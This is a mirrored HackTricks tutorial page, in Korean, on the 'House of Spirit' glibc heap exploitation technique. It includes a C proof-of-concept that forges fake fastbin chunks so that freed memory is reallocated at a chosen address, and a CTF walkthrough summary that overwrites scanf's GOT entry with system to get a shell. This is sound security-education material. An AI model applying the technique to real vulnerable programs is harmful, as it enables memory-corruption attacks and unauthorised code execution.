mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
134 lines
6.2 KiB
Markdown
134 lines
6.2 KiB
Markdown
# House of Spirit
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary>
|
|
|
|
다른 방법으로 HackTricks를 지원하는 방법:
|
|
|
|
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
|
* **해킹 트릭을 공유하고 싶다면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
|
|
|
</details>
|
|
|
|
## Basic Information
|
|
|
|
### Code
|
|
|
|
<details>
|
|
|
|
<summary>House of Spirit</summary>
|
|
```c
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
|
|
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
|
|
|
struct fast_chunk {
|
|
size_t prev_size;
|
|
size_t size;
|
|
struct fast_chunk *fd;
|
|
struct fast_chunk *bk;
|
|
char buf[0x20]; // chunk falls in fastbin size range
|
|
};
|
|
|
|
int main() {
|
|
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
|
void *ptr, *victim;
|
|
|
|
ptr = malloc(0x30);
|
|
|
|
printf("Original alloc address: %p\n", ptr);
|
|
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
|
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
|
|
|
// Passes size check of "free(): invalid size"
|
|
fake_chunks[0].size = sizeof(struct fast_chunk);
|
|
|
|
// Passes "free(): invalid next size (fast)"
|
|
fake_chunks[1].size = sizeof(struct fast_chunk);
|
|
|
|
// Attacker overwrites a pointer that is about to be 'freed'
|
|
// Point to .fd as it's the start of the content of the chunk
|
|
ptr = (void *)&fake_chunks[0].fd;
|
|
|
|
free(ptr);
|
|
|
|
victim = malloc(0x30);
|
|
printf("Victim: %p\n", victim);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
</details>
|
|
|
|
### 목표
|
|
|
|
* tcache / fast bin에 주소를 추가하여 나중에 할당할 수 있도록 함
|
|
|
|
### 요구 사항
|
|
|
|
* 이 공격은 공격자가 올바른 크기 값을 나타내는 몇 개의 가짜 fast 청크를 만들고, 첫 번째 가짜 청크를 해제하여 청크가 bin에 들어가도록 해야 함
|
|
|
|
### 공격
|
|
|
|
* 보안 검사를 우회하는 가짜 청크 생성: 기본적으로 올바른 위치에 올바른 크기를 나타내는 2개의 가짜 청크가 필요함
|
|
* 첫 번째 가짜 청크를 해제하여 빠른 또는 tcache bin에 들어가도록 하고, 그 주소를 덮어쓰도록 할당함
|
|
|
|
**[guyinatuxedo](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html)**의 코드는 이 공격을 이해하는 데 좋음. 코드의 이 스키마는 이를 잘 요약함:
|
|
```c
|
|
/*
|
|
this will be the structure of our two fake chunks:
|
|
assuming that you compiled it for x64
|
|
|
|
+-------+---------------------+------+
|
|
| 0x00: | Chunk # 0 prev size | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x08: | Chunk # 0 size | 0x60 |
|
|
+-------+---------------------+------+
|
|
| 0x10: | Chunk # 0 content | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x60: | Chunk # 1 prev size | 0x00 |
|
|
+-------+---------------------+------+
|
|
| 0x68: | Chunk # 1 size | 0x40 |
|
|
+-------+---------------------+------+
|
|
| 0x70: | Chunk # 1 content | 0x00 |
|
|
+-------+---------------------+------+
|
|
|
|
for what we are doing the prev size values don't matter too much
|
|
the important thing is the size values of the heap headers for our fake chunks
|
|
*/
|
|
```
|
|
{% hint style="info" %}
|
|
두 번째 청크를 생성하여 일부 상태 확인을 우회해야 합니다.
|
|
{% endhint %}
|
|
|
|
## 예시
|
|
|
|
* CTF [https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html](https://guyinatuxedo.github.io/39-house\_of\_spirit/hacklu14\_oreo/index.html)
|
|
* **Libc infoleak**: 오버플로우를 통해 CTF의 read 동작을 통해 libc 주소를 노출시킬 수 있도록 포인터를 GOT 주소를 가리키도록 변경할 수 있음
|
|
* **House of Spirit**: "소총" 수를 세는 카운터를 악용하여 첫 번째 가짜 청크의 가짜 크기를 생성하고, "메시지"를 악용하여 두 번째 청크의 크기를 가짜로 만들고, 오버플로우를 악용하여 해제될 포인터를 변경하여 첫 번째 가짜 청크를 해제할 수 있음. 그런 다음 할당하고 그 안에 "메시지"가 저장된 주소가 있을 것임. 그런 다음 이를 `scanf` 진입점을 가리키도록 만들어 GOT 테이블 내부를 덮어쓸 수 있으므로 시스템 주소로 덮어쓸 수 있음.\
|
|
다음에 `scanf`가 호출될 때 입력 `"/bin/sh"`를 보내고 셸을 획들할 수 있음.
|
|
|
|
## 참고 자료
|
|
|
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
|
|
|
<details>
|
|
|
|
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
|
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|